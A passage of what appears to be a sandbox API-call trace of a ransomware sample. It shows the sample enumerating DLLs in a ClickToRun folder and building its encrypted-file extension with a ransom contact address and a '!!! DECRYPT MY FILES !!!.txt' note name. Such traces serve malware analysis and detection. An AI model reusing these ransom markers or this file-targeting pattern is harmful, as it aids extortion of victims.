nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0105.525] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.526] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0105.526] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll", len=0x59 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 1 [0105.526] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") returned 0x59 [0105.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.526] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.526] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.527] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0105.527] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll", len=0x59 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 1 [0105.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") returned 0x59 [0105.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.527] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.527] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.527] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0105.527] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll", len=0x61 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 1 [0105.527] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") returned 0x61 [0105.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.528] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.528] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.528] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0105.528] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll", len=0x63 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 1 [0105.528] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll", cchLength=0x63 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 0x63 [0105.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.528] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.528] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.528] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0105.529] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll", len=0x5a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 1 [0105.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll", cchLength=0x5a | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") returned 0x5a [0105.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.529] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.529] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.529] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0105.529] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll", len=0x5d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 1 [0105.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") returned 0x5d [0105.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.529] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.529] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.530] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0105.530] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 1 [0105.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll") returned 0x5b [0105.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.530] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.530] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.530] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0105.530] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll", len=0x59 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 1 [0105.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll") returned 0x59 [0105.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.531] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.531] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.531] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0105.531] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll", len=0x5b | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 1 [0105.531] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") returned 0x5b [0105.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.531] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.531] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.531] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0105.532] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll", len=0x5f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 1 [0105.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") returned 0x5f [0105.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.532] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.532] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.532] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0105.532] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll", len=0x5e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 1 [0105.532] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 0x5e [0105.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.532] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.532] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.533] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0105.533] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll", len=0x58 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 1 [0105.533] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") returned 0x58 [0105.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.533] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.533] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.533] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", 